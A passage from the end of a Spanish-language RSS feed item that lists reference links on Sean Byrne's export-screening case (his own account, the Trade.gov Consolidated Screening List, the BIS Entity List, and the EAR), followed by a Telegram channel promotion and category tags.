&lt;a href="https://conic.al/writing/the-other-sean-byrne-doesnt-exist/" rel="noopener noreferrer"&gt;The Other Sean Byrne Doesn't Exist, de Sean Byrne&lt;/a&gt;: el relato original en primera persona del caso con Apple, Nasdaq y DHL.- &lt;a href="https://www.trade.gov/consolidated-screening-list" rel="noopener noreferrer"&gt;Trade.gov, Consolidated Screening List&lt;/a&gt;: documentación oficial y API pública para consultar las listas combinadas de partes restringidas.- &lt;a href="https://www.bis.doc.gov/index.php/policy-guidance/lists-of-parties-of-concern/entity-list" rel="noopener noreferrer"&gt;Bureau of Industry and Security, Entity List&lt;/a&gt;: la lista específica de la que proviene la entrada que afecta a Byrne.- &lt;a href="https://en.wikipedia.org/wiki/Export_Administration_Regulations" rel="noopener noreferrer"&gt;Wikipedia, Export Administration Regulations&lt;/a&gt;: contexto sobre el marco legal (EAR) que sostiene la política de «presumption of denial».&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;📱 &lt;strong&gt;¿Te gusta este contenido?&lt;/strong&gt; Únete a nuestro canal de Telegram &lt;a href="https://t.me/programacion" rel="noopener noreferrer"&gt;@programacion&lt;/a&gt; donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.&lt;/p&gt;

</description>
      <category>technology</category>
      <category>science</category>
      <category>programming</category>
      <category>discuss</category>
    </item>
  </channel>
</rss>
